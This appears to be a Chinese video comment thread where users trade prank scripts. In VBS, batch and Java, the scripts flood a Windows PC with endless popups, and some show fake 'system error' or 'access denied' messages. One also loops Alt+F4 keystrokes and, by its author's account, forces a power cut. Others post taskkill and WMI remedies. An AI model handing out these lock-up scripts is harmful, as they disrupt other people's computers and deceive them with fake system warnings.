UPvs自己做的vbs无限弹窗
MessageBoxEx:
1.vbs内容：
'--------1.vbs------------
msgbox "系统错误"
'--------end-------------
2.vbs内容：
'-----2.vbs--------
set i=createobject("wscript.shell")
do
i.run "xxxx"
'注：这里的xxxxx填写1.vbs的相对路径
loop
'----end-------
是这样吗……
【回复】所以真的代码到底是啥？
【回复】回复 @CHARA-猹 :对 他显示找不到文件
奇怪的MEMZ:
来看看这个如何？
Dim WS,I
set WS=WScript.CreateObject("Wscript.Shell")
For I=l To 1000
WS.Run "mshta.exe VBScript:MsgBox(""拒绝访问C:\"",64,""Windows警告"")(Close)",0
Next
【回复】回复 @皕皕赉赉 : 蓝屏了[大哭]
【回复】回复 @是猫猫不是猫咪吖 :试过没毒[doge]
【回复】没有毒吧？[脱单doge][脱单doge][脱单doge]
豆沙包MEMZ:
来个bat版的：
@echo off
echo.msgbox"哈哈，绝望吗？",0,"呵呵呵">系统优化.vbs
:1
start 系统优化.vbs
goto 1
复制上面的内容，粘贴到记事本，保存为bat文件（需要开启文件扩展名，自行百度：如何开启文件扩展名。）
然后，双击（谨慎操作！！！）
【回复】//来个java版的
import java.awt.*;
import javax.swing.*;
public class juewang {
void awa() {
JOptionPane.showMessageDialog(null,"你绝望吗","系统错误");
}
public static void main(String[] args) {
juewang hhh = new juewang();
while (true) hhh.awa();
}
}
【回复】回复 @冬花ice:看来只有Java只用一个文件
【回复】回复 @3-14159265358979 :这编译完可能就不止了，不过可以打包成一个jar包(=・ω・=)
电脑和游戏:
鼠大侠了解一下，资源监视器了解一下，重启了解一下，alt+F4了解一下
我本将心向明月zq:
专治vbs病毒
CreateObject("WScript.Shell").Run "taskkill /f /im wscript.exe", 0
゙夕辞吖:
Dim WS,l
set WS=WScript.CreateObject("Wscript.Shell")
For I=l To 1000
WS.Run "mshta.exe VBScript:MsgBox(""拒绝访问C:\"",64,""Windows警告"")(Close)",0
Next
Krisman_:
任务管理器关不掉怎么办[保卫萝卜_哭哭]
不睡觉的曳理:
这个弹窗位置能变么...指弹出来一个，但是点了取消就跳到另一个位置
某科学的RW25T553768:
我在家里整了一堆无限弹窗，摁住回车（do loop）时间都不动了
19911225cccpussr:
我做的
set fso = createobject("scripting.filesystemobject")
set ws = createobject("wscript.shell")
set x = fso.opentextfile("1.vbs",2,true)
x.writeline("set ws = createobject(""wscript.shell"")")
x.writeline("do")
x.writeline("wscript.sleep 500")
x.writeline("ws.sendkeys ""%{F4}""")
x.writeline("loop")
x.close
ws.run "1.vbs"
s = 40
randomize
for i = 1 to s
x = rnd
y = rnd
x = int(24000 * x)
y = int(10000 * y)
set a = fso.opentextfile("2.vbs",2,true)
a.writeline("do")
a.writeline("c = inputbox(""错误！！！"",""Windows系统"",""""," & x & "," & y &")")
a.writeline("loop")
a.close
wscript.sleep 100
ws.run "2.vbs"
next
wscript.sleep 250
do
msgbox"您的系统已崩溃！！！",16,"Windows系统"
loop
这个基本只能拔电源了
【回复】当然这个可以一键解决，但是必须放在桌面最左上角，否则鼠标够不到
set bag=getobject("winmgmts:\\.\root\cimv2")
set pipe=bag.execquery("select * from win32_process where name='wscript.exe'")
for each i in pipe
i.terminate()
next
